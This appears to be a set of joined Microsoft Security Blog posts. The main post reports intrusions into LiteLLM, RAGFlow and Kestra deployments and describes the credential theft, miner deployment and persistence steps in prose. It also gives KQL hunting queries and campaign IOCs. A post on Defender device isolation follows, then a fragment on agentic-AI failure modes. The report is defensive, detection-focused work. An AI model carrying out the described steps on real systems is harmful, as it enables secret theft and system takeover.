AI is creating a new layer of enterprise infrastructure. Gateways, retrieval platforms, orchestration services, and containerized runtimes now sit between users, applications, data, and models. These systems concentrate credentials, data access, model connectivity, and execution privileges, making them some of the most powerful components in the AI stack.

That concentration of trust is also creating new opportunities for attackers. In recent investigations, Microsoft observed activity targeting three distinct AI workloads: a LiteLLM gateway, a RAGFlow deployment, and a Kestra workflow environment. The intrusion paths varied, but the objectives were strikingly similar. Attackers sought to steal credentials, establish persistence, and monetize compromised compute resources.

The individual techniques matter, but the broader pattern matters more. Across these cases, attackers treated AI infrastructure as a control plane where credential theft, host compromise, and downstream data access can converge. As organizations continue to deploy AI systems, these platforms are becoming high value targets that deserve the same security scrutiny as other critical enterprise infrastructure.

AI workloads are becoming high-value control points

The campaign-level signal extends beyond one product. The targeted workloads served different functions, but each exposed assets that could support follow-on abuse, including model-provider keys, proxy-issued virtual keys, database connection strings, tenant configuration, workflow execution, or host compute. Post-compromise behavior varied by workload role. Defenders should inventory exposed AI management surfaces, restrict administrative access, and monitor for gateway-originated execution and secret access.

Three observed compromises across AI workloads

Case study 1: LiteLLM gateway compromise

Framework role and affected runtime context

LiteLLM is commonly deployed as a proxy or gateway between applications and model providers. In that position, the service may hold or retrieve model-provider keys, LiteLLM master keys, virtual-key records, database connection strings, routing configuration, and tenant policy data. Command execution in the gateway runtime therefore exposed a process context close to AI routing and credential material.

Initial access

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed LiteLLM gateway surface. Relevant public vulnerability paths include CVE-2026-42271, an authenticated command-execution issue in LiteLLM MCP stdio test endpoints, and the route described in public research that chains this flaw with CVE-2026-48710, a Starlette host-header validation bypass, to achieve unauthenticated remote code execution in vulnerable exposed deployments.

In this chain, CVE-2026-42271 provides the command execution capability through the MCP stdio test path, while CVE-2026-48710 can weaken the authentication boundary in affected configurations, potentially making that capability reachable without valid credentials.

In this case, initial access occurred in the context of the LiteLLM gateway process. The gateway service, rather than an unrelated system process, became the execution origin. Subsequent activity from that point is described in the observed attack chain below.

Observed attack chain

Stage 1: Credential harvesting from the gateway runtime

The first observed stage was credential harvesting from the LiteLLM gateway runtime. The payload read the gateway process environment and filtered for credential-related values, including model-provider API keys, the LiteLLM master key, database connection strings, UI credentials, tokens, passwords, and other secret-like fields.

In containerized LiteLLM deployments where the gateway runs as PID 1, /proc/1/environ exposes the environment block for the gateway process. Telemetry showed the payload reading /proc/1/environ, filtering for keywords such as master, API key, token, password, and UI-related fields, then sending collected values to attacker-controlled infrastructure.

The exfiltration logic used multiple transports in sequence, including Python urllib, curl, and wget. This provided fallback paths if one tool was unavailable or if egress controls affected one outbound method.

Stage 2: Payload delivery and masqueraded execution

The second stage moved from gateway-level command execution to payload delivery. The first delivery path launched from the compromised LiteLLM gateway process as an inline Python command. The code retrieved a masqueraded ELF binary from attacker-controlled infrastructure, staged it under a temporary path, marked it executable, and launched it with command-line arguments resembling a Linux service process.

The downloaded ELF used service-style naming and arguments to masquerade as a benign Linux daemon.

A second delivery path used a shell-stage downloader. A gateway-spawned Python command invoked a shell that used multiple download methods with short timeouts and fallback behavior, staged the retrieved content under randomized temporary paths, marked it executable, and launched it with supplied parameters. Together, these paths show redundant payload retrieval and execution from the gateway process context.

The third stage performed host discovery from the second-stage payload. Observed commands fingerprinted the host, checked privilege boundaries, inspected listening ports, and searched for other miner or remote-access activity on the system.

Relevant artifacts included a silent passwordless-sudo check, listening-port inspection, and multiple process sweeps for miner or remote-access tooling. The searches included terms associated with miners, remote shells, competing infrastructure, and previously dropped scripts.

Stage 4: Cryptomining preparation and competing-miner removal

The fourth stage prepared the host for cryptocurrency mining and removed competing persistence. Telemetry showed XMRig or XMRig-like mining components, RandomX-related tuning, and cleanup commands targeting other miners.

Two artifacts were central. A command loaded the Linux Model-Specific Register module with write access enabled, a behavior commonly associated with RandomX/XMRig CPU tuning. Separately, a crontab rewrite removed entries associated with other miner names before writing the modified cron data back.

Stage 5: LiteLLM database access through Azure PostgreSQL

The fifth stage used the previously collected database connection string to access the LiteLLM-backed PostgreSQL data tier. This moved the activity from host-level secret exposure into application-layer data collection from the gateway backend database.

Telemetry captured a self-contained python3 one-liner that read the gateway PID 1 environment, parsed DATABASE_URL, installed or imported PostgreSQL support, connected to the database, and dumped LiteLLM model and virtual-key records. The connection string referenced <name>.postgres.database.azure.com, indicating Azure Database for PostgreSQL.

The payload targeted LiteLLM tables including LiteLLM_ProxyModelTable and LiteLLM_VerificationToken. The collected records could include model configuration, upstream provider key material, provider endpoints, and proxy-issued virtual keys.

Output was base64-encoded and exfiltrated in small chunks to an out-of-band callback endpoint. A sibling variant posted data to a separate web endpoint that was also observed during the earlier credential-harvesting stage.

Stage 6: Persistence, command-and-control, and defence evasion

The sixth stage added persistence, command-and-control, and defence-evasion mechanisms. Observed artifacts included service-account SSH authorized-key modification, hidden-file relay execution, masqueraded service names, self-relaunch loops, and immutable-file attributes.

The durable access artifact was an authorized_keys write under a service account. Additional artifacts included hidden-file relay execution, command-and-control relay components, masqueraded systemd service names, and relaunch paths under hidden temporary files.

Names used in relaunch paths overlapped with common Linux daemon naming patterns. Periodic out-of-band callbacks were also observed, providing network telemetry that the payload continued to execute and retained outbound connectivity.

Impact

The LiteLLM compromise produced multiple impact paths: provider credential exposure, proxy-issued key exposure, database-backed configuration access, host resource abuse, and durable service-account access. The gateway role made these impacts broader than a standard single-process application compromise.

Case study 2: RAGFlow compromise

Framework role and affected runtime context

RAGFlow supports document-processing and retrieval-augmented generation workflows and stores tenant LLM configuration. The observed execution occurred inside the RAGFlow container under the application runtime lineage. That context is important because the affected code paths process provider credentials when users add or modify LLM settings.

Initial access and compromise pattern

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed RAGFlow application surface. Telemetry showed the RAGFlow server process retrieving an attacker-supplied URL through the application’s own HTTP client, resulting in an outbound Burp Collaborator callback without corresponding child-process execution. Remote code execution in the same service context followed later in the observed sequence.

Microsoft assesses with low confidence which specific vulnerability, if any, enabled that code execution. Because the relevant application code paths execute within the RAGFlow Flask service process, endpoint telemetry could not distinguish the precise execution sink. Publicly documented vulnerabilities affecting relevant RAGFlow versions include CVE-2026-45312 and CVE-2026-28797, authenticated Jinja2 server-side template injection issues in the prompt generator and Agent workflow components; CVE-2026-24770, a MinerU parser path-traversal issue that can permit arbitrary file overwrite and subsequent code execution; and CVE-2025-68700, a Canvas CodeExec sandbox-bypass issue tracked as GHSA-8xw3-v6c2-j84j.

These vulnerabilities provide plausible technical context but are not attributed as the confirmed cause of this intrusion. Depending on the affected version and deployment configuration, access to authenticated functionality could also be influenced by separate account-access weaknesses, including CVE-2025-69286. For defenders, the possible SSRF activity through the OASTify relay network is a useful precursor signal because remote code execution in the same service context followed several days later.

Observed attack chain

Stage 1: Application discovery and hook creation

The first payload stage located the RAGFlow installation from inside the container and identified the tenant LLM model-configuration path. Telemetry showed discovery logic for common application locations, followed by creation of a hidden runtime hook under the application tree.

Stage 2: Persistence through application startup modification

The second stage modified the application startup or import path so the hidden hook would load with the RAGFlow service. This tied the credential-interception behavior to the application runtime rather than to a separate long-running process.

Stage 3: Credential interception during LLM configuration

The hook wrapped the tenant LLM configuration flow and captured newly supplied provider metadata during credential setup. Captured fields included provider type, model name, API key material, and related endpoint metadata. The collection routine used outbound HTTP from within the container and suppressed errors so the application flow could continue if collection failed.

Stage 4: Finalization and installation verification

The final stage wrote or refreshed the hook and created a local marker indicating that installation had completed. Command-line telemetry was partially truncated, but the repeated execution sequence, process lineage, and application-file modifications were sufficient to reconstruct the functional behavior.

Impact

The RAGFlow compromise was primarily focused on LLM credential collection rather than host monetization. Telemetry did not show miner deployment or an interactive reverse shell in this case. The affected runtime path could capture provider credentials configured after the hook was installed, and the startup-path modification could persist across service restarts if the modified filesystem state remained present. SSH-key material was also written inside the container, but its durability depends on container privileges, filesystem persistence, and host-container boundary configuration.

Case study 3: Kestra compromise

Framework role and affected runtime context

Kestra is a workflow orchestration environment. Because workflows are designed to execute tasks and interact with external systems, abuse of workflow-creation and execution capabilities can provide direct code execution in the worker runtime.

Initial access and compromise pattern

Microsoft assesses with high confidence that initial access likely occurred through exploitation of CVE-2026-49869, a critical authentication-bypass vulnerability in Kestra. Exploitation could allow an unauthenticated remote attacker with network access to bypass the login mechanism, define a malicious workflow using the Process runner, and trigger worker-side shell-script execution.

Following the assessed initial-access sequence, telemetry showed two closely timed workflow-origin shell sessions. The first produced shell initialization activity, while the second performed the main follow-on actions, including Docker socket access, container-environment enumeration, miner deployment, and defence-evasion file operations. A later workflow-origin event used a curl-pipe-shell delivery pattern to retrieve remote script content directly into a shell and store collected output through the application’s own key-value interface.

Observed attack chain

Stage 1: Workflow-origin shell execution

Telemetry showed the Kestra worker lineage spawning shell activity from the orchestration layer. Two closely timed workflow-origin shell sessions were observed; the first produced shell initialization activity, while the second performed the main follow-on actions.

Stage 2: Docker container environment discovery

After workflow-origin execution, commands accessed the mounted Docker socket from inside the compromised orchestration environment. The activity queried container metadata and inspected container environment arrays, exposing environment-backed values from other containers reachable through the mounted runtime socket.

This behavior is significant because workflow engines often run near automation secrets. Environment arrays, mounted configuration, service credentials, and container metadata may expose cloud keys, database passwords, API tokens, or internal service endpoints when the container runtime socket is accessible.

Stage 3: Cryptominer deployment

The monetization phase followed the workflow-origin execution chain. Telemetry showed miner retrieval from a public release source, archive extraction, binary renaming, background execution, and mining-pool communication. CPU-tuning behavior commonly associated with RandomX/XMRig mining was also observed.

Additional defence-evasion file operations were observed around a temporary path, including restrictive permissions and immutable-file attributes. These artifacts provide file-system telemetry alongside the workflow-origin process lineage and network activity.

Stage 4: Data harvesting through workflow task execution

A later workflow-origin event used a curl-pipe-shell pattern for follow-on collection. Remote script content was retrieved and executed directly by the shell without being written as a standalone script file first. The resulting output was encoded and stored through Kestra’s own key-value interface.

Impact

The Kestra compromise exposed four impact paths: shell execution through the workflow engine, container-environment exposure through Docker socket access, host resource hijacking through miner deployment, and follow-on collection through workflow task execution. The later curl-pipe-shell event encoded collected output and stored it through Kestra’s own key-value interface, reducing reliance on standalone file artifacts.

Possible AI-assisted payload development

Several payloads exhibited characteristics often associated with assisted or generated code, including organized imports, explicit timeout handling, dependency fallbacks, formatted output, defensive exception handling, and explanatory comments. Compared with minimal, one-off shell payloads, these samples showed a more structured and robust implementation style.

These characteristics are observations about the tooling, not evidence of attribution. From a security perspective, their significance is that they can improve payload portability and resilience across Linux and container environments. No conclusion about the code’s authorship or development method is required.

Key patterns observed across AI workloads

Initial access differed by workload. LiteLLM involved command execution from the gateway runtime. RAGFlow progressed from SSRF-style probing to runtime modification. Kestra used workflow execution as the shell-access path.

The observed objectives were consistent. Across the cases, telemetry showed credential collection, durable access mechanisms, and resource monetization, even though the execution path differed by product.

Payload behavior was specific to each workload. LiteLLM payloads targeted gateway environment variables and database-backed proxy records. RAGFlow activity targeted LLM credential configuration. Kestra activity focused on workflow execution, container discovery, and cryptomining.

What this means for defenders: Defenders should monitor AI workloads according to their control-plane role, not only as isolated applications. Gateway, retrieval, and orchestration services can concentrate credentials, database access, workflow execution, and container privileges in one runtime. High-value detections should therefore correlate unexpected application-origin shells or interpreters with secret access, application-file modification, Docker socket use, outbound callbacks, and resource-hijacking activity. Treating these signals as a connected compromise path can expose attacks earlier than product-specific indicators alone.

Mitigation and protection guidance

Microsoft recommends the following mitigations to help reduce the risk and impact of AI workload compromise.

• Treat AI gateways as Tier-0 secrets stores. Keep LiteLLM and similar proxies patched, require authentication across API and UI surfaces, restrict administrative and management ports, and do not expose management interfaces directly to the internet.
• Scope and protect provider credentials. Issue per-team virtual keys with spend limits instead of sharing master keys, store upstream API keys in a managed secret store rather than process environment variables, and rotate credentials associated with an exposed or compromised gateway.
• Apply least privilege to gateway and database access. Run the proxy under a dedicated service account, limit its PostgreSQL permissions to required objects, place the database behind a private endpoint with restrictive firewall rules, and enable Microsoft Defender for Cloud monitoring for the database and surrounding cloud resources.
• Constrain outbound traffic. Use deny-by-default egress rules and allowlist only required model-provider and service endpoints. Block direct connections to raw-IP hosts and non-standard ports, and route permitted traffic through an FQDN-filtering firewall or inspecting proxy.
• Monitor outbound callbacks and campaign infrastructure. Filter and log DNS traffic to identify out-of-band callbacks and subdomain-encoded beacons, and monitor connections to campaign-associated C2 and OAST domains.
• Harden the host runtime. Mount temporary directories as non-executable where operationally feasible, alert on execution from world-writable paths, and monitor changes to cron entries, SSH authorized_keys files, and immutable-file attributes.

Enable Microsoft Defender for Endpoint protections on Linux. Keep real-time and cloud-delivered protection enabled to detect files written to disk, newly observed droppers, miners, and second-stage payloads. Enable behavior monitoring for anomalous child processes, credential access, data staging, exfiltration, and persistence activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, cloud workloads, and apps to provide integrated protection against attacks on AI infrastructure like the one discussed in this blog. Given the criticality of this new attack layer, defender is providing differentiated visibility, detection and protection from attacks against AI resources. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation: correlate gateway process, credential-access, mining, and persistence signals into a single timeline and surface the provider keys that may have been exposed.
• Microsoft user analysis: assess accounts and service principals whose credentials the gateway could have exposed.

Advanced hunting queries

Microsoft Defender XDR customers can use these Advanced hunting queries to identify behaviors associated with this intrusion across Linux workloads and AI gateway environments. Each query focuses on a specific detection objective and is designed to help analysts validate suspicious activity, pivot across related process and network telemetry, and prioritize results that combine gateway-originated execution, secret access, payload staging, persistence, or outbound communication. Tune the queries for known administrative activity and approved gateway maintenance in your environment.

When reviewing results, prioritize events where a gateway process launches a shell, downloader, interpreter, or system utility; where command lines reference /proc/1/environ, LiteLLM database tables, provider keys, or PostgreSQL libraries; and where outbound traffic reaches raw-IP infrastructure or out-of-band callback domains. Matches that combine gateway ancestry, secret-access terms, and outbound communication should be treated as higher confidence.

AI gateway process spawning shells, downloaders, or interpreters

This query looks for a LiteLLM gateway process launching execution utilities that are not expected for normal model-routing activity. In this intrusion, that relationship was the earliest high-value pivot: the gateway runtime became the parent process for shell commands, Python one-liners, downloaders, secret discovery, and follow-on payload execution.

// Low-FP pivot: AI gateway parent process spawning execution utilities.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine) and isnotempty(InitiatingProcessCommandLine)
| extend ParentCmd = tolower(InitiatingProcessCommandLine), Cmd = tolower(ProcessCommandLine)
| where ParentCmd has_any ("litellm", "litellm-proxy", "litellm_proxy", "ragflow", "kestra")
| where FileName in~ ("bash", "sh", "dash", "curl", "wget", "python", "python3")
| where Cmd has_any ("/proc/1/environ", "database_url", "psycopg2", "urllib.request", "urlretrieve", "base64")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Direct access to container environment variables

This query detects command-line access to /proc/1/environ, a high-signal behavior in containerized services where the main process often runs as PID 1. For an AI gateway, this environment can contain model-provider API keys, the gateway master key, database connection strings, UI passwords, and other secrets.

// High-signal secret access in containerized services.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd contains "/proc/1/environ"
| where FileName in~ ("cat", "bash", "sh", "python", "python3", "grep")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

LiteLLM-specific secret and configuration discovery

This query narrows secret-discovery hunting to LiteLLM-specific context before matching sensitive terms. That structure reduces noise from generic words such as key, token, and password, while still surfacing command lines that reference LiteLLM proxy tables, virtual keys, provider configuration, or database material.

// Hunt for command lines that combine LiteLLM context with secret-related terms.
// This helps reduce false positives from generic credential keywords.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any (
    "litellm",
    "litellm_proxymodeltable",
    "litellm_verificationtoken",
    "proxymodeltable",
    "verificationtoken"
)
| where Cmd has_any (
    "secret",
    "token",
    "key",
    "password",
    "master",
    "database_url",
    "postgres",
    "psycopg2",
    "psycopg2-binary"
)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Python-based database credential discovery

This query hunts for Python execution that references database connection material or PostgreSQL client libraries. In the observed attack chain, Python was used to parse DATABASE_URL, install or import PostgreSQL support, and access LiteLLM-backed database tables containing model configuration and virtual-key material.

// Hunt for Python activity associated with database credential discovery or use.
// Pivot from matches to parent process, network connections, and any package-install activity.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any ("python", "python2", "python3")
| where Cmd has_any (
    "database_url",
    "postgres",
    "postgresql",
    "psycopg2",
    "psycopg2-binary"
)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Shell-based secret discovery with text-processing tools

This query looks for common Linux text-processing utilities used to search environment files, application configuration, or LiteLLM-related material for secrets. It requires three signals: a discovery utility, a relevant target, and a sensitive keyword, making it more precise than broad keyword searches alone.

// Hunt for shell utilities searching for secrets in environment or configuration data.
// Higher confidence results combine a discovery tool, a relevant target, and a secret keyword.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| where Cmd has_any ("grep", "egrep", "fgrep", "awk", "sed", "cat", "strings")
| where Cmd has_any ("litellm", "database_url", "environ")
    or Cmd contains "/proc/1/environ"
    or Cmd contains ".env"
| where Cmd has_any ("secret", "token", "key", "password", "master", "postgres")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath
| sort by Timestamp asc

Combined high-signal secret-discovery triage

This combined query is useful for triage dashboards or incident review because it labels each result with a detection reason. Analysts can use the DetectionReason field to quickly separate direct environment access, LiteLLM-specific secret discovery, Python database credential access, and shell-based searching.

// Combined triage query using only high-confidence secret-discovery signals.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| extend Cmd = tolower(ProcessCommandLine)
| extend DetectionReason = case(
    Cmd contains "/proc/1/environ", "Direct access to PID 1 environment variables",
    Cmd has_any ("litellm", "litellm_proxymodeltable", "litellm_verificationtoken", "proxymodeltable", "verificationtoken") and Cmd has_any ("database_url", "postgres", "psycopg2", "master", "secret", "token", "password"), "LiteLLM-related secret or database discovery",
    FileName in~ ("python", "python2", "python3") and Cmd has_any ("database_url", "postgres", "postgresql", "psycopg2", "psycopg2-binary"), "Python-based database credential discovery",
    "")
| where DetectionReason != ""
| project Timestamp, DeviceName, AccountName, FileName, DetectionReason, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Second-stage payload retrieval and masqueraded execution

This query identifies the payload-delivery pattern observed after gateway execution: raw-IP retrieval, staging under /tmp, and execution with supervisord-style arguments or bridge-related environment values. Review matches for masquerading, unexpected executable files in world-writable paths, and parentage from the gateway process.

// Hunt for staged payload execution and supervisord-style masquerading.
// Focus on /tmp execution, bridge variables, and known payload path fragments.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| where ProcessCommandLine has_any ("/private/python3", "/anonymus/bins_s", "BRIDGE_STANDALONE", "PORT")
    or (FolderPath == "/tmp/python3" and ProcessCommandLine has "supervisord")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Crypto mining preparation through MSR write access

This query hunts for attempts to load the Linux msr kernel module with write access enabled. That behavior is strongly associated with performance tuning for RandomX/XMRig mining and is unusual on most production servers unless explicitly approved for low-level performance testing.

// Hunt for MSR write access often used to optimize RandomX/XMRig mining.
// Validate whether the host has any legitimate reason to load msr with allow_writes.
DeviceProcessEvents
| where isnotempty(ProcessCommandLine)
| where ProcessCommandLine has_all ("modprobe", "msr", "allow_writes")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId
| sort by Timestamp asc

Persistence, hidden relay execution, and defense evasion

This query groups the persistence and defense-evasion behaviors observed in the intrusion: hidden-file relaunch from /tmp, cron manipulation, SSH authorized-key modification, and immutable-flag changes. These signals should be reviewed with process ancestry and file-write events to identify the account and payload responsible for durable access.

// Hunt for persistence and defense-evasion activity used to keep the payload running. // Review matches for service-account abuse, hidden /tmp execution, and cleanup resistance. DeviceProcessEvents | where isnotempty(ProcessCommandLine) | where (ProcessCommandLine contains "exec /tmp/." and ProcessCommandLine contains "-c /tmp/.")     or (ProcessCommandLine contains "crontab" and ProcessCommandLine contains "grep -v")     or ProcessCommandLine has "chattr"     or (ProcessCommandLine has "authorized_keys" and ProcessCommandLine contains ">>") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessId, InitiatingProcessId, FolderPath | sort by Timestamp asc

Outbound communication to known campaign infrastructure

This query hunts for connections to infrastructure directly tied to the observed campaign. To reduce false positives, it focuses on known campaign domains/IPs and execution tools commonly used in the attack chain.

// Known campaign infrastructure only (low-FP network pivot).
DeviceNetworkEvents
| extend RU = tolower(RemoteUrl), RIP = tostring(RemoteIP)
| where RU has_any ("yosemite.jp", "gobygo.net", "auto.c3pool.org", "45.150.109.151.sslip.io")
    or RIP in ("45.150.109.151", "135.125.10.56", "172.232.38.92", "47.86.197.116", "2001:41d0:701:1100::adfd")
| where InitiatingProcessFileName in~ ("bash", "sh", "dash", "python", "python3", "curl", "wget", "nohup")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| sort by Timestamp asc

For higher-confidence triage, correlate these results across time and telemetry types. A single match may represent administrative activity, but the combination of gateway-originated execution, secret access, database-focused Python, payload staging in /tmp, MSR tuning, persistence attempts, and outbound callbacks should be investigated as a potential end-to-end compromise path.

MITRE ATT&CK techniques observed

Indicators of compromise

Network indicators

File indicators

References

• CVE-2026-42271: LiteLLM MCP command-execution vulnerability, NVD entry

• LiteLLM: Authenticated command execution via MCP stdio test endpoints, GitHub advisory
• LiteLLM: Proxy security, virtual keys, and key management documentation
• Horizon3.ai: CVE-2026-42271 chained with CVE-2026-48710 unauthenticated RCE

• CISA: Adds Two Known Exploited Vulnerabilities to Catalog

• Microsoft: Taking legal action to protect the public from abusive AI-generated content
• Microsoft: Disrupting a global cybercrime network abusing generative AI
  
• CVE-2026-48710: Starlette host-header validation bypass, CVE record
• CVE-2026-45312: RAGFlow prompt-generator server-side template injection, CVE record
• CVE-2026-28797: RAGFlow Agent workflow server-side template injection, CVE record
• CVE-2026-24770: RAGFlow MinerU parser path-traversal vulnerability, CVE record
• CVE-2025-68700: RAGFlow Canvas CodeExec sandbox-bypass vulnerability, CVE record
• GHSA-8xw3-v6c2-j84j: RAGFlow Canvas CodeExec sandbox-bypass advisory
• CVE-2025-69286: RAGFlow account-access weakness, CVE record
• CVE-2026-49869: Kestra authentication-bypass vulnerability, CVE record
• Microsoft Learn: Create prompts in Microsoft Security Copilot

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• How Microsoft discovers and mitigates evolving attacks against AI guardrails
• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation

The post When AI infrastructure becomes the target: Securing gateways and control points appeared first on Microsoft Security Blog.

Microsoft Defender’s attack disruption now includes device isolation, a new response action that extends autonomous protection directly to compromised endpoints.

At QNET, an attacker initiated a multi-stage attack using a legitimate Windows tool on a compromised endpoint to retrieve a malicious remote payload–a classic living-off-the-land (LOL) technique that often evades traditional containment. By automatically enforcing the new device isolation action on the compromised endpoint, Defender attack disruption stopped the attack dead in its tracks. From the first high-severity alert to completed isolation, after only 128 seconds, Defender cut off the attack chain before the second-stage payload could establish persistence or move beyond the host.

The growing threat: when the endpoint is the blast radius

Attack disruption has proven highly effective at stopping multistage, cross-domain attacks by disrupting the attacker’s ability to move across the environment. In many identity-driven attack scenarios, containing the compromised user is enough to shut down the attack chain, preventing lateral movement and limiting the attacker’s ability to access additional systems, identities, and resources.

However, we are increasingly seeing a different class of high-severity incidents that begin with initial access directly on the device. Once adversaries establish a foothold on an endpoint, they can plant multiple persistence mechanisms and continue operating locally on the machine. This means that acting against the user’s identity alone is no longer enough to dismantle the threat.

In these scenarios, the attacker has multiple ways to communicate and operate on the device beyond the user entity; the malicious code is already executing locally on the machine. The attacker doesn’t have to move laterally immediately; they can establish persistence, steal credentials, inject into processes, and prepare follow-on stages directly from the compromised endpoint itself.

Previously, stopping these attacks required manual triage and response, giving attackers time to advance. Device isolation closes this gap by automatically correlating signals, assessing the threat, and isolating the compromised device within seconds.

Traditional response approaches often depend on static playbooks triggered by individual alerts and maintained through manual tuning. Attack disruption instead uses AI-driven correlation and real-time analysis to identify multi-stage attacks by connecting signals across the environment before taking action. Device isolation is enforced only when the disruption pipeline reaches a high-confidence verdict—a threshold maintained at 99% precision.

What is device isolation?

When Microsoft Defender determines with high confidence that an endpoint is compromised, it isolates the device to immediately stop attacker activity and reduce the risk of further impact, such as data exfiltration and lateral movement.

What happens during device Isolation

When a device is isolated, all external network connectivity is blocked while maintaining access to required security services like Microsoft Defender for Endpoint. Selective isolation is supported, allowing customer-defined services or exclusions to continue functioning.

Automatic device isolation is scoped to the affected device (supported today on onboarded MDE workstations), time-limited, and operator-controlled. Security teams can review context, take follow-up actions, and manually release isolation when it’s safe to do so.

Why it matters

Device isolation is a powerful containment control because it disrupts the attack regardless of how the device was compromised or what the attacker planned to do next. A single action cuts off network access, breaking lateral movement, command and control, credential theft, and rapid encryption–effectively stopping hands-on activity and preventing spread to other systems. It is designed to work hand in hand with user containment. Isolating only the device or only the user leaves gaps; together, each one makes up for the weaknesses of the other, thereby mitigating these gaps to more effectively contain the attack.

Case study: QNET

QNET is a global direct-selling company with a distributed workforce and a lean security operations center (SOC). Like most teams of its size, QNET runs Defender with attack disruption enabled and relies on it to handle the first five minutes of a high-severity incident so analysts can focus on finding the root cause.

In the incident detailed here, attack disruption proved decisive: it stopped a multi-stage attack on a single endpoint within 128 seconds by automatically enforcing device isolation, its newest disruption action. Without this autonomous disruption, the human-in-the-loop delay could have been the difference between a contained initial living-off-the-land binary (LOLBin) execution and a fully detonated second-stage payload that had achieved credential theft and persistence.

In the customer’s words

“At QNET, we’ve seen a real impact from Microsoft’s attack disruption capability. During a recent incident, the device isolation was triggered almost immediately, which gave us confidence that the threat was contained early before it had any chance to spread.

What stood out for us is how this changes the way the team operates. Instead of racing against time to investigate and contain an active threat, my team can step in knowing the situation is already under control. That shift allows us to focus more on root cause analysis and remediation, rather than spending critical time trying to piece together what’s happening while the risk is still ongoing.

From a day-to-day SOC perspective, it makes our response more efficient and far less reactive. The alerts are clear, the actions are meaningful, and the disruption happens early enough to actually make a difference, not after the damage is done.

Overall, it’s helped us streamline our incident response and reduce exposure, while giving the team more breathing room to focus on what really matters.”

—  Ben Bredenkamp, Group CIO, QI Group

Attack chain overview

Total time from first detection to enforced isolation: 128 seconds.

The results

To summarize the results of the new device isolation response action:

• From first detection, Defender isolated the device in just 128 seconds.
• No second-stage payloads were observed after isolation. The mshta process was orphaned at the network layer; there was no outbound C2, and no follow-on download.
• No lateral movement attempts were observed before or after isolation.
• No SOC actions were required during the disruption window. The QNET SOC analyst who picked up the incident inherited an already-contained host and a complete action timeline.

MITRE ATT&CK techniques observed

References

• Automatic attack disruption in Microsoft Defender XDR
• Automatic attack disruption — supported triggers and enforced actions
• Device Isolation in Attack Disruption
• MITRE ATT&CK T1218.005 — Mshta
• MITRE ATT&CK T1204 — User Execution

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 

The post 128 Seconds to disruption: Microsoft Defender stops ransomware at QNET  appeared first on Microsoft Security Blog.

When the Microsoft AI Red Team published the Taxonomy of Failure Modes in Agentic AI Systems in April 2025, the goal was a shared vocabulary for a threat landscape that did not fit existing frameworks. The v1.0 taxonomy was largely forward-looking, built on practitioner interviews, cross-company threat modeling, and our own early operational experience. It identified novel failure modes unique to agentic systems (agent compromise, injection, impersonation, flow manipulation) alongside existing failure modes materially amplified in agentic contexts (memory poisoning, cross-domain prompt injection, human-in-the-loop bypass). 

